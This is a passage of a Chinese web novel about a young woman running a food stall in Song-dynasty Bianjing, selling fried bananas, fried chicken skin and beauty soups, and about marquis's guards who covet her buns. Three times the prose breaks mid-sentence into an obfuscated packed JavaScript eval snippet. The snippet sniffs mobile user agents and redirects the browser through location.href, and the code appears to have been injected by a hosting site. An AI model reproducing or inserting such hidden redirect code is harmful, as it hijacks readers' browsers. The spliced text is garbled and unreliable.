他暗自下定决心，明日定得早些去薛小娘子的摊子，老老实实花银钱买吃食，权作回报她这一番好意。 云冯往侯府方向走，一路上心思转着，脚下步伐未停，待行至半路，稍觉口渴，这才拔开竹筒木塞，仰头豪饮一大口。 微凉的紫苏饮顺喉而下，初入口时，辛香之味略带清苦，霎时便洗去齿间残留的油腻感，紧接着，几分甘甜悄然浮现，温润醇厚，叫人忍不住细细品味。 云冯微挑眉梢，颇为惊讶地将竹筒拎至眼前，左瞧右瞧好一阵。 这饮子果真如薛小娘子所言，乃她独家秘方所制，竟比旁家茶坊卖的更添几分妙意。 紫苏辛温，既解膻，又不至于涩口，反倒在那抹回甘之中，透着几分恰到好处的甜蜜，美哉美哉！ 其实云冯并不知，薛荔不过是在紫苏饮中添了四成多的酒酿。酒香微甜，紫苏涩辛，二者中和，倒颇类似于……酒酿奶茶？ 他快意地咂了咂嘴，心中正要夸上一句，却蓦然想起自己下午还要继续品那“活羊三吃”，胃里顿时泛起一丝不祥的预感。 这紫苏饮他还是省着些喝的好，指不定就是从那堆腥膻的羊肉里解救自己小命的“良药”呢！ - 汴京城华灯初上时，正是一天中最热闹的时候。 夜幕下，州桥两岸灯火如织，汴河水映着摇曳的光点，微风一吹，仿佛满河碎金轻轻浮动。朱雀门外，夜市摊贩们已陆续支起竹棚，桌椅板凳摞得比人还高，炊烟与灯影交错，空气中弥漫着油香与糖炒栗子的焦甜味，叫人闻之便觉口舌生津。 薛荔口中轻哼着欢快小曲儿，熟练地推着摊车在拥挤的街道间穿行，避开挑担的小贩与悠哉闲逛的食客，最终在州桥核心区寻了一处空位，将摊车麻利安置下来。 在汴京的夜市摆摊规矩颇多，摊位并非谁先到就归谁。凡正式夜市摊贩，皆须到官府登记，领取市籍牌照，由市令司统一管理。没有牌照的流动摊贩极易被厢兵——也就是巡街的城管驱赶。若是加入行户的摊主，还需缴纳定额“免行钱”，以此代替徭役。若赶上十五灯会，他们这些摊主还少不得再添二十文灯油钱，好让市令司的差役用于照明与维护。 薛荔虽是新面孔，却也提前打听清楚了其中的门道。 她不归属任何行会，因此只需按照摊位大小向市令司缴些地税便好。 当下这块“风水宝摊”乃她用三十文钱从巡街厢兵手中换来的，对面便是一座热闹的酒楼。若是选在桥头、巷口那样的边缘地段，只需象征性地交些香火钱，七八文便足够。 但要想生意要做得红火，终归还是得在人流密集之处落脚。 俗话说得好，“有钱不赚王八蛋”，夜市挣得比早市还多，薛荔怎能放过这个好机会？?? 隔壁卖炊饼的刘二嫂是个热心的。她见薛荔眼生，模样生得甜美乖巧，一边支起幌子，一边嘴里同她叨叨：“如今临近月末，市令司的那帮人为了冲事功，一个个都跟隼似的，眼尖着呢！这不，昨日一下子罚了王麻子五十文赎铜钱，你头一回来这儿摆摊，可得小心些。”? 罚钱？ 薛?小财迷?荔耳朵一动，放下手中擦桌凳的抹布，凑到刘二嫂身旁搭手帮忙支幌子，笑盈盈地问：“阿姊，那王麻子到底犯了甚么事，竟被罚了五十文？” “你可算是问对人了！”刘二嫂合掌一拍，压低声音，拉她细细道来。 “在这儿摆摊，可不是只交钱就清闲的，夜市里头规矩大得很。咱们支摊的得自个儿清理摊位，若弄脏了街道被市令司的人逮个正着，轻则罚五十文，重则一百文，瞧谁倒霉！” 薛荔听得心头一紧，那今夜她可得额外注意这点。 今晚夜市，她要卖的可是炸物。炸物一入锅，油点子四溅不说，食客们多半还会用竹签取食。倘若有人随手一丢，她可就白白痛失一百文了。 她略一琢磨，打定主意多备几只收纳竹签的篓子，还得备上些细砂和草木灰，以便随时洒在溅出的油渍上，免得收摊时不好清理，被市令司的人揪住错处。 刘二嫂又同她论道许多，一番听罢，她心中只有一个感觉——古代摆摊规矩多，收费还真不少！ 话虽如此，但不可否认的是，市令司实然是将整个夜市打理得井井有条。消防巡查纤悉无遗，每隔百步便有一间"防隅巡屋"，甚至是夜市一条街的路灯都有"路灯司"的专人负责维护。正是因这有条不紊的管理，汴京城才会成为繁华兴盛的“不夜城”，才会有这万家灯火同人间烟火交织的盛况嘛！? 四周摊贩的吆喝声此起彼伏，热闹非凡。 薛荔不慌不忙，眉眼之间透着几分自信张扬。今宵她要做的，是两样无论古今都难以抗拒的宵夜小零嘴。 其一，乃炸甘蕉。 宋人称香蕉为“甘蕉”，果皮青绿，体型小巧，质地坚实，甜度不高，因此多作观赏或入药，极少有人生食。但薛荔却另辟蹊径——油炸才是它最好的归宿。 蕉质坚硬，油炸却可催软。热油翻腾时，滚烫的油温可在极短时间内逼出果肉中的水分，使原本紧实的胶质渐渐软化，变得绵密香甜。而外皮则被高温包裹，炸至金黄酥脆，形成一层脆而不碎的外壳。 甜度不足，这不还可以加糖嘛！宋时石蜜、糖霜等物珍贵，寻常百姓难得一尝，但饴糖却是家家户户都吃得起的。 她早已用糯米粉加酵母发酵，待其蓬松至两倍大，便裹在甘蕉外，入锅炸制。如此一来，炸出的甘蕉外层酥香，内里绵软，而出锅后趁热浇上一层薄薄的饴糖浆，待温度稍降，糖浆便会凝固成一层焦糖脆皮，轻轻一敲，便是清脆的碎裂声，甜香扑鼻，可谓一举两得。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659670|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在家中时，她已将准备工作做好，如今只待油温升腾，便可下锅。 铁锅口径有限，她索性先炸五根甘蕉，趁着翻面的间隙，便开始着手准备另一样小吃——炸鸡皮！ 薛荔取出一只长条竹篮，里头整齐码着一串串焯过水的鸡皮。淡金色的鸡皮在灯光下泛着一层薄薄的油光，仿若预示着炸制之后的脆爽口感。 想到这炸鸡皮的由来，薛荔便觉得自己当真是捡了个便宜。 今日午时，她收摊后，原是去李家肉铺买第二日做云酥包用的豕肉，谁知正巧撞见李屠户杀了四只大肥鸡。 那鸡生前想必吃得极好，鸡皮肥厚油润，李屠户嫌油脂过甚，本欲剁碎喂猪，谁知她两眼放光，当即拦下。 鸡皮最妙之处，便在于油炸后的酥脆口感，稍微加工，便能成就一份极佳的宵夜。 不知不觉，锅中甘蕉已然炸至金黄。薛荔眼疾手快地把它们一一翻面，待定型之后，便转身打蛋拌面粉，为鸡皮串挂上一层薄薄的面糊，而后轻轻抖落，除去多余的浆糊。面糊要裹得恰到好处，才可锁住鸡皮本身的油脂，且能炸出轻盈脆感。 她将鸡皮小心地放入油锅，文火慢炸。 油泡翻涌，热气氤氲，夜色下，香气愈发浓郁诱人。 “小娘子，你这油锅里炸着船似的为何物？” 清脆的声音自摊前响起，薛荔抬眸一望，见一位身着浅粉色窄袖短襦的少女立在摊前问询。 “我家哥儿隔着老远便嗅见甜香，嚷着定要买来尝尝。大娘子放心不下，便差我来问问，这炸物究竟为何，哥儿吃着可妥当？”少女说罢，回头朝身后望了望。 薛荔循着她视线看去，只见一辆雕花乌木马车停靠在不远处，窗帘半掀，一位气质端雅的妇人端坐其中，着月白色直领对襟衫，领缘镶淡蓝织锦，盘髻簪竹节玉簪，耳垂下的珍珠珰轻轻摇曳，隔窗温柔地瞧着她这处。 这模样，这派头，这气质，非高门大户中的主母莫属。 忽地，马车窗格一角探出一只白嫩嫩的小手。紧接着，一张璞玉似的小脸儿也跟着挤了出来。 那是个约莫四五岁的小郎君，头顶小髻上束着金丝冠，黑白分明的眼珠子滴溜溜转着，直勾勾地盯着薛荔锅里的炸物，满眼好奇。 薛荔见状，眉眼微弯，朝女使温声道：“此物名曰蜜蕉盏，乃是以甘蕉裹糯粉，文火炸至金黄而成，入口香甜软糯，最得童儿欢喜。” 女使听罢，略显讶然：“原是甘蕉？听闻南方瘴气之地才生此果，且性寒涩硬，怎能做得这般香甜？” 薛荔笑而不语，动作利落地将一根炸至焦糖色的蜜蕉盏捞起沥油，切成小片，浇上一勺匙晶亮的糖汁，递予女使：“好吃与否，请你家娘子与哥儿一尝便知。” 女使谢过，快步回到马车边，将试吃的蜜蕉盏奉给主母与小郎君。 薛荔瞧着车窗角落的小郎君，先是小心翼翼地咬了一口。下一瞬，那张小脸顿时绽开甜滋滋的笑意，拉着母亲的衣袖欢喜央求，稚声软糯，听着便叫人心软。 5. 香酥煠金脆 她心下了然，今夜这便是开张了。 果不其然，片刻后，女使笑着折返回来：“哥儿说这蜜蕉盏味道极好，我家大娘子要三份。” 薛荔爽快应下，手法熟练地为三根蜜蕉盏洒上饴糖，接过女使给的铜钱，又赶忙将余下的甘蕉下锅。 “阿娘阿娘，我想吃这个！”一道娇嫩童声忽然自摊车斜前方传来。 薛荔循声望去，只见一个扎着红丝缯双髻的小女娃欢快地拉着母亲的手，兴冲冲地奔向她摊前。 那女娃不过三四岁，生得粉雕玉琢，脸蛋圆嘟嘟的，眉眼间透着灵气。被她唤作“阿娘”的妇人驻足一看，见是炸物，眉心微蹙：“煠物火气大，童儿吃不得。阿娘给囡囡买糖吃可好？” 小女娃不依，嘟着嘴巴奶声奶气地撒娇，拽着母亲的袖子晃啊晃，双髻上的红丝缯一飘一飘，娇憨可爱。 妇人被磨得无奈，眼中尽是宠溺笑意。 薛荔见状，恰如其分地添上一句：“两文钱买蔗糖黏牙坏齿，四文钱得金蕉补身养人！更何况，甘蕉本就有清热解毒之效，再与煠火两两相抵，娘子这般明理，定知哪个更划算。” 小女娃听得两眼发亮，立刻添油加醋道：“囡囡吃一半，另一半阿娘吃！” 妇人被逗得失笑，轻轻点了点女儿的小鼻尖：“罢了罢了，就依你一回。” 旋即，她朝薛荔道：“小娘子的吃食看着便香，也给我来一串这蜜蕉盏。” “好嘞，收您四文！”薛荔笑盈盈地将蜜蕉盏包好，弯身递到小女娃手中，叮嘱道，“这蜜蕉盏还烫着呢，小娘子可得慢些吃。” 小女娃双手郑重地接过，仰头甜甜道谢，而后小嘴努起，轻轻吹着凉风，紧接着，迫不及待地往琥珀焦糖色最浓处咬了一口。 “囡囡觉得好不好吃？”妇人柔声问道。 小女娃的脑袋点得跟鸡啄米似的，眼睛亮晶晶，嘴角还沾着一星半点的糖渣：“阿娘，这蕉月亮软绵绵、甜蜜蜜的，还会拉丝！” 薛荔笑着解释：“我家甘蕉外裹了层糯粉——麻餈绵延有韧劲，甘蕉软糯香甜，吃起来比别家摊子上的口感更加丰富。” 妇人也尝了一口，果然惊喜不已，忍不住打量起薛荔：“小娘子年纪轻轻，厨艺却这般了得。” “娘子过奖了。”薛荔莞尔。 正说着，她忽觉一股目光自不远处投来。 她侧目望去，只见桥边立着一位年轻郎君，手里握着书卷，衣着清俊，模样斯文。 他站在原地，似是犹豫着什么，目光频频朝这边望来，既不离去，也迟迟不上前，一副报赧模样。 薛荔虽自信，却不普信。 那郎君的一双眼只往晾油架子上瞅，显然并非在看她，而是瞧上了她新一轮捞出锅的炸甘蕉。 只是......他若想吃，为何迟迟不上前来买？ 薛荔百思不得其解，杏眸流转，落于正津津有味啃着蜜蕉盏的小女娃身上。 顿时，她眼底一亮——原是这个！ 薛荔唇角微扬，扬声吆喝起来：“刚出锅的蜜蕉盏！有助消化、补益脾胃，老少皆宜，尤适宜彻夜苦读的书生食补！” 她唤了没两句，身前光影一暗。方才那犹豫不决的书生竟已快步走到摊前，耳根微红，嗓音低低问：“方才，小娘子言这蜜蕉盏宜读书人食补......此言当真？” 薛荔煞有其事地点头：“自然当真！” “小郎君有所不知，甘蕉性平味甘，裹蜜油炸后可润肠通腑，更助消食。你可曾读过《本草衍义》？上边记载得清清楚楚，言其有‘润肺生津，补益脾胃’之效。郎君读书费神，正需此物调养中气呢。” “竟有如此奇效？”那书生嘴上还在说，囊中揣了不知多久的铜钱却早已掏出，“那便劳烦小娘子，给我也来一份。” 薛荔伸手接过，不多不少，正好四文，且还是热乎乎的。 她一边为书生打包蜜蕉盏，一边忍不住低笑。她早瞧出这书生眼馋蜜蕉盏，但大抵是见前两位买来吃的食客皆是童儿，他一个及冠男子便不好意思上前开口。 果然，男人啊，从古至今都死要面子活受罪。 忙活半晌，薛荔还未来得及尝一口自己的劳动成果，眼下刚巧，炸鸡皮沥去了余油，她将自己研磨的茱萸粉均匀撒上，随手拈起一片，轻轻一咬。 “咔嗞——” 薄脆的鸡皮在齿间炸开，外壳微酥，脂香四溢，入口即化。茱萸粉裹着热腾的油脂渗透其中，生姜的辛香、茱萸的果木气、芥末籽的幽辣交织在一处，竟隐隐勾出些许肉味来！ 薛荔忍不住又尝了一口。细细咀嚼间，酥脆的口感在舌尖沙沙回响，炸鸡皮的香气久久不散。 若不是宋朝盐价高得离谱，再撒上一点盐，这滋味怕是能美上天去。 可即便如此，也已足够令人沉迷了。 薛荔咬着竹签，心底不住忏悔——深夜吃炸物，实在是罪过啊！可谁能抵挡住一锅喷香的油炸食品？ 她被这油炸滋味美得摇头晃脑，嘴里嚼得起劲。 正品着味儿，一个过路的郎君瞧见她这副模样，被勾起好奇心，停在摊前问：“小娘子吃的何物，口中竟沙沙作响？” “儿家吃的正是自家摊上的煠物。”薛荔忙不迭咽下最后一口酥香，笑盈盈地介绍，“此小食名唤‘煠金脆’，以鸡皮为原料，虽简易，但酥脆油香，滋味不俗。” 她挑起一片炸鸡皮，递到郎君面前：“客官可先试味，若合胃口，再买也不迟。” 襕衫郎君觉着可行，接过那签“煠金脆”，送入嘴中，上下齿方一碰，便听得“咔嗞”一声酥响，唇齿间爆开微微油脂，茱萸粉的微辛恰到好处地衬托出肉香，回味无穷。 “好一个酥脆！”襕衫郎君眼睛一亮，忍不住连嚼几下，只觉唇齿留香，“苏学士谪黄州时曾作《老饕赋》，言‘以养吾之老饕’，赋中未曾提及鸡皮，定是没遇上小娘子这般手艺！” 襕衫郎君大喜：“我正要去州西瓦子听书，吃这‘煠金脆’正正好，给我来上五串！” “那郎君可算是选对吃食了！”薛荔一听，行云流水地将竹筛中的炸鸡皮撒上粉料，麻利地打包给他。 襕衫郎君爽快付了铜钱，拎着“煠金脆”高高兴兴地走人了。 一旁的路人见状，也被勾起了好奇心，很快又围上来几人。 “你家煠物如何卖？”一位盘着低髻的妇人缓步上前，手中挎着一只都篮，垂眸扫了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659671|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 油架上的炸串。 薛荔眼尖，瞥见她篮中印花盖布下露出酒坛一角，心中便略有了筹算——这位娘子瞧发髻当是已婚妇人，又提着酒，十之八九是给家中夫君买下酒菜的。 薛荔转瞬便想好措辞，热情推销起来：“此物名唤‘煠金脆’，乃鸡皮炸制，酥脆干香，五串只需三文钱，物美又价廉，搭配美酒再合适不过了！” 小媳妇一听是鸡皮，眉头轻皱，有些犹豫。但转而再一听，五串才三文钱，顿时有些心动：“倒比鸡胗便宜……相公昨日赌输了钱，买些荤腥边料哄哄他也罢。” 薛荔贯来嘴甜：“娘子这般想，一只炸鹌鹑须五十文，而鸡皮三文便可尝肉香。我若是娘子夫君，只会觉娘子持家有道，自个儿娶了天大的福气呢。” 这番话将小娘子哄得心中舒坦极了，二话不多讲，当即买了三文钱的煠金脆，拎着酒篮满意地回了家。 ...... 夜色渐深，州桥夜市虽仍旧灯火如昼，实如“近坊灯火如昼明”一说，可薛荔却实在熬不住了。 她忙活了一整天，便是直播都没这么拼命过。 推着小摊车回家的路上，她算了算今夜的账目——煠金脆一百五十串卖光，蜜蕉盏也卖出了三十二根，总收入二百一十八文，扣除摊位费三十文，油钱和原料费统算五十五文好了，这样一扣，净挣下的钱便仅有一百三十三文。 这利润，比起她摆早市时实在是差远了。更何况夜市收摊后，她还得将周遭打扫干净。待到逢年过节时，还得多交二十文油钱给市令司。 薛荔轻叹了口气——看来这夜市只能权当是闲暇之余赚点外快，真要挣钱，还是得将重心放在白日的生意上。 她心里念叨着，推着摊车往前走，未曾想，脚下一颗碎石硌了车轮一记，车上的条凳猛地颠出一捆，噼里啪啦滚落在地。 薛荔：“……” 她咬牙扶起条凳，费力地搭回车上，暗下决心——再这样下去，她怕是连自己都得搭进去。这周末前，非得招个伙计来不可！ - 翌日，晨光熹微时。 云冯起了个大早，跑至兴国寺的薛记珍味摊排队买云酥包。 今日天公甚作美，使他不但排在队伍前头，竟还撞到彩头，赶上第一轮出炉的云酥包。 蒸屉方被揭开，一股面香和桂花蜜甜便裹挟着腾腾白气飘散开来，其后叠叠如山峦的云酥包悄然露出，教人尚未入口，便觉齿颊生津。 新出炉的云酥包就是香！ 云冯一手拎着两篮大包，另一手往嘴中送了个蜜豆桂花馅的云酥包，咬了一口，松软的酥面皮轻轻塌陷，绵密的豆沙馅裹着糖桂花的香气在唇舌间晕开，齿间满是细腻甜香。 “甜口包子果真如薛小娘子所言，比肉馅儿的还要好吃百倍。”云冯心满意足地嚼着，脚步轻快。 这一口包子落肚，才觉五脏六腑都舒坦了。 昨日回侯府后，他心如死灰地嚼着那些名厨们做的“活羊三吃”，那真叫一个五花八门的难吃！他无奈冲着替他值守的侍卫阿福绘声绘色描述起这滋味绝美之云酥包，夸得那叫一个天上有，地下无。 旁边几个小侍卫凑上来听，偏偏无一人信，几人皆道—— 6. 妙娘子何人 饶是馒头做得再好，莫非还能好出朵花儿来不成？ 哄笑一片。 云冯气得牙关紧咬，狠狠嚼碎口中不知是羊脑、还是羊蹄、又或是羊眼的糜肉，险些膻得两眼一抹黑。痛定思痛，隔日定要将薛小娘子摊上的云酥包买来，叫那群不知美食为何物的粗汉们也尝尝，何谓世间真滋味！ “我早同你们讲了罢？整个汴京城里，云酥包唯有薛记独此一家！——阿福！你停停嘴，别吃了，别吃了，先说道说道，这云酥包究竟有没有好出朵花儿来？”云冯倚着楹柱，抱臂睨着昨日替了自己一时辰班的侍卫阿福，神气挑眉道。 “冯哥莫侃小弟了……这会儿我若住嘴同你说道，只怕——诶！诶诶！这包子我先抢到手的！” 阿福嘴里正叼着一个云酥包，闻言下意识偏脸回云冯的话。话还未说完，他手中拿着的那云酥包便被身旁同僚一把捞去。 “你都吃仨了，还未吃够？撑破你肚皮去！”那同僚嘴中还含着未吃完的包子，此刻嬉笑着，含糊不清道。 云冯悠哉地瞅着他俩扭打一处，故作老成地摇了摇头。 云酥包他买了足足十五个，这群汉子倒好，猪八戒吃人参果似的，两口一个，狼吞虎咽，也不知尝出其中美味来没有。 不过，倒亦有通“美食须熟嚼,生食不麤吞”者细细咀嚼，咂摸出其中真滋味：“云近卫，那薛小娘子手艺如此了得，可还卖些旁的吃食？” 云冯闻言，顿时想起今晨在摊前瞥见的那块新招幌。 “倒是添了两样新鲜药膳羹汤，一曰七白养颜羹，一曰醉仙醒神汤。” “这我晓得！”不等云冯细说，便有另一侍卫眼睛一亮，忙不迭道，“七白养颜羹可是当下城中娘子们追捧的时新之物。我家娘子一早便从邻里听说了，兴国寺旁桥头有个做包子的小娘子，依着《太平圣惠方》里的美白方剂，调制出了七白饮，就唤作七白养颜羹！昨日便嚷嚷着要买上几盏回来试试——可五文一盏呢，都够买个炊饼当饭了。” “真有那般神奇？”有人惊讶道。 “那可不？”云冯回忆着今晨见到的情景，“那薛小娘子干脆立了张大招幌，其上着墨八个大字——‘每日一碗，面若凝脂’！” 一听这话，众人皆忍俊不禁。 要晓得，本朝女子皆知“妇人本质，惟白最难”，也只有无需从事户外劳作，富户或贵族阶层的女子才能长期保持皮肤白皙?。 汴京城里的娘子们追求白皙肤色已是风潮，既然米粉、蚌粉，甚至是铅粉都能敷脸，她们怎会拒绝喝上一碗“从内而外变白”的羹汤？ 云冯今日一早便已领教了七白养颜羹的做法。 那薛小娘子以白茯苓、白莲子、白扁豆、百合、鲜山药、杏仁细细磨碎后，倒入豆乳，熬成浓羹，接着加入鲜榨梨汁增甜，还撒干桂花碎装点，极有典雅之韵。 羹色雪白，又佐以“白食润肤，以色补色”之说，这叫那些贵妇人们如何不疯狂？更何况卖羹的小娘子自个儿便肤如凝脂，面如满月，活脱脱是个行走的活招牌。保不齐，正是喝那七白养颜羹调理出的呢？ 若真是靠这羹养出来的，哪怕贵上几文，也得买来试试。 “那醉仙醒神汤呢，又有何奇效？”有人好奇问道。 他身旁同僚嗤笑一声：“你这截木脑袋，字面上不都写明了？‘醉仙醒神’，不就是解酒的？” 谈起这醉仙醒神汤，云冯今朝于摊前排队时，还多问过那薛小娘子一嘴。 薛小娘子说，此乃针对汴京夜饮文化推出的晨间解酒饮。 那时她正好将两篮云酥包麻利装好，往他手里一塞，狡黠一笑：“这汴京官员虽奉律不得入酒肆饮酒，可真要喝起酒来，谁也管不住。晨间急着醒酒的，又多半是昨夜宿醉的官员，多赚那些不守律令的官员几文钱没毛病。” 她说这话时，语气刻意压低，那双俏皮的小狐狸似的眼眸里闪过一丝精明光亮。 本朝虽鼓励民间酿酒以增税收，但对官员饮酒的行为却管控严格，且以明文规定，官员不得进入酒肆吃喝，无论公私场合均受此限。 真宗便曾质问官员鲁宗道“何故私入酒家”，并警告其行为恐会引来御史弹劾。由此亦可见，宋朝官员若因宿醉暴露其出入酒肆的事实，轻则训斥，重则罢免官职。 云冯忍不住哂笑。 若是侯爷知晓，市井之中还有这般古灵精怪的小娘子也同他们一样，跟那帮尸位素餐的老家伙对着干，且还是以这般稀奇法子，只怕那张冰碴似的脸亦会化冻，唇畔浮现一丝笑意。 如今薛小娘子推出这“醉仙醒神汤”，虽标高价，七文一盏，却偏生卖得极好——自然，那些个宿醉官员断不敢亲自前去，而是差遣家中仆从，悄悄买回马车上饮。 云冯想着，忍不住摇头失笑：“这薛小娘子倒是个妙人。” “你说，谁是妙人？”一道熟悉声音冷不丁袭来。 云冯先是一僵，而后瞥见原随意倚在美人靠上，正吃着云酥包的几位同僚面色一滞，竟都在瞬间噌地立起，连手中的包子都险些落地，心中直唤起天老爷。 齐恂不知何时已走至廊下。 他一袭玄色常服，刀枪未佩，然立于廊下，周身那股凛然之气却仍叫人不敢多看一眼。更何况是这群尚处值守时辰，却躲闲吃包的侯府侍卫？ 齐恂淡漠睨了眼方与同僚为包子扭打而分开的阿福。 后者打了个冷战，似只被点了穴的鹌鹑，手中攥着的云酥包不知该往哪藏才好，又出于值守摸鱼的心虚，当即将脊背挺得笔直。 云冯干咳一声，讪讪回道：“属下方才所说‘妙人’，其实乃兴国寺一小食摊的摊主小娘子……那小娘子做的云酥包乃是汴京一绝。”说着，音量愈低，后边那句几近无声。 齐恂扫了眼阿福握在手中那形似馒头的吃食上，语气不轻不重：“云酥包？” 云冯赶忙道：“正是！此名还是那小娘子自创的，据说是因这包子撕开时酥皮层层分明，入口轻盈，薄似云雾。” 齐恂未置一言，眉宇间却微不可察地松动了些，眸光又落于那云酥包上，似有所思。 众人见他句话不说，以为他为此动怒，垂头纷纷相觑。 ……其实，齐恂正是为这云酥包而来。 自打领兵出征北汉，腹部遭刺落下胃疾后，他便一直循宫中太医局定下的方剂，日日清淡饮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659672|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食。若换作旁人，定然难以忍受，但他本就无甚口腹之欲，遵从医嘱倒亦正好。 可今日一早，却有些反常。 舞枪晨练完后，他照例回到书房复查卷宗。到了饭点，侍从自一旁端上七宝素粥与当季新鲜春盘，他放下案牍，正动箸欲夹菜。忽地，一股肉香自未阖紧的雕花支摘窗缝儿外飘入室内，渐满屋盈香。 香乃羊肉香气，本该腥膻，可那气息里却不见半分腥臊，反倒透着一种馋人的甘香，似有若无地萦绕鼻息，如同风饕雪虐时炉中炭火煨出的那点暖意，勾得人心底发痒。 他不自觉地停住碗箸，心神悄然被那气味牵引，渐渐飞去雕花支摘窗外。直至身旁侍从见他久不动箸，以为是菜肴有故，忙低声问询，他这才回神，面色如常道了句无妨。但心底终归是有些不悦——因一缕寻常食香而分神，实在不像自己。 寻常......咳咳，或许亦不算寻常罢…… 待到他再欲动箸，垂眸望见面前清汤寡水的七宝素粥，还有那素净得过头的时令春盘时，却陡然无了食欲。 沉吟少顷，他落箸起身，径直往书房外走。 本以为又是齐悦好吃，在折腾厨房研究什么新花样菜品，结果竟见云冯同几个侍卫在角落里啃馒头。 ——不，准确地说，还不是普通馒头。 阿福觉察到齐恂的目光停在自己手里的云酥包上，浑身汗毛倒竖，左右看了看，最终还是不舍地伸手，痛心道：“眼下正是侯爷早膳时辰，这云酥包滋味甚好，侯爷吃了定可缓解胃疾。” 他未置一言，这小侍卫倒灵光得很。 齐恂收回视线，正想着如何体面将这“云酥包”拿走，然而——云冯这没眼力见的却横插一嘴。 “阿福你个楞头脑壳，王爷如今胃气孱弱，这包子里头的羊肉馅又属火，吃下去要闹腹胀痛的！” 阿福瞬间反应过来，当即“哦哦哦”连声应下，忙不迭收回手，将“罪魁祸首”云酥包护到身后，心中暗喜——绕了一大圈，这包子终究还是他的！美哉！ 齐恂面色一沉。 可惜云冯未曾察觉，只继续老妈子般叨叨道：“宫中医官早便说过，侯爷伤在腹部，胃疾如累卵之危，饮食之上万万马虎不得。更何况，侯爷这两周连服理中汤，更该忌口。那真君粥以杏子去核煮烂，与米同熬，很是养胃，侯爷不若吃些真君粥？我还听闻......” “够了。”低沉冷冽的声音骤然落下。 云冯痴张着一张嘴被打断，再一转眸，撞进齐恂幽深冷寂的眼底，顿觉后颈发凉，心底生出一丝不祥预感。 齐恂容色淡然，语气带着一贯的不容置疑：“值守时辰悠闲用膳，各自去领五军棍，外罚本月俸禄。” “是！”众人当即应答，皆心如死灰。 直至齐恂踏出院门，诸位才松了口气。 “可把我冷汗都吓出来了。”有侍卫顿感劫后余生，“侯爷前一刻还好好地，怎突地便冷了脸，连个预兆也没有。” 云冯亦摸不着头脑，仍旧不知自己哪句话出了错，兀自感慨：“唉，侯爷负伤，胃疾久不见好，这老话说得好，胃不和则神不佳，想来他心中亦烦扰着呢！” 7. 笋蕈胜肉夹 直至午时，兴国寺桥头的“薛记珍味摊”前仍旧人声鼎沸，长队绕过石桥，一直排到街角，热闹得很。 队伍中，两位女使等得乏了，竟有一搭没一搭地闲聊起来。 “欸，这位姐姐排了有多久了？”身着青缎夹背心的女使侧头问道。 “嗐，莫提了，我在此处都怕站了不止半个时辰了。”另一位穿豆绿襦裙的女使朝前张望，见前方仍是黑压压一片人头，不由气闷地吐槽，“我家主母点名要喝这‘七白养颜羹’，今晨才买过一趟，眼下又来催我跑这一遭。” “巧了！我家二娘也差我来买。你说，这不就是一碗白乎乎的羹汤么，当真有那般奇效？” “听闻是摊主亲手研磨七种白色药材熬制的，很是滋补养颜……”豆绿襦裙女使的话音一顿，眼神朝最前头一望，抬手指给她看道，“再者，你看薛小娘子那肌肤，白得同羊脂玉似的。她日日出摊，这般辛劳，脸上却连半点倦色都无，说不准还真是这羹汤养出来的呢？” “有道理呀。”青缎夹背心的女使若有所思地点头，咂摸着道，“若真能养颜，五文一盏，倒也不算太贵。今日我也买来试试！” 人群熙攘，摊前队伍依旧绵延，眼见着朱红木桶中的羹汤已见了底，薛荔将竹勺悬在桶口上，挺直腰背，歇了口气。 要不说这宋朝的经济发展是真好呢？百姓们大多不必为吃饱穿暖而愁，甚至还有绰余来买些养生羹汤。 薛荔捻起帕子，揾了揾额角冒出的细汗，一边点数着摊子前仍排着的人头，暗中算着明日该熬多少七白养颜羹才够。 她当初将摊名取作“薛记珍味摊”，而非“薛记早点摊”，便是不愿只靠云酥包立足，而打算逐步扩展品类。 常言道，“学如逆水行舟，不进则退”，她则瞧着不光是学业，这餐饮业亦如此。 兴国寺周边的早点铺大多是开了几十年的老饕餮，她的“云酥包”虽新鲜特别，但旁人尝上几回，难保不会琢磨出类似的法子，甚至做出更胜一筹的改良版。唯有推陈出新、独辟蹊径，方能立于不败之地。 思索间，她俯身将最后一盏七白养颜羹打包好，踮脚朝人群喊道：“诸位贵客，对不住啦，今儿的七白羹连桶底都刮净了，劳您久候！明日卯时四刻，准点开摊，头二十位享买一赠一之惠！” 话音刚落，便听得人群中此起彼伏的叹气声。 “怎的就没了？好容易才排到我呢！”“薛小娘子，再熬一锅罢！”…… 薛荔倒也想再熬一锅，可这羹汤里的白茯苓、百合皆已用尽，少了两味主料，这羹汤还如何算得上“七白”？ 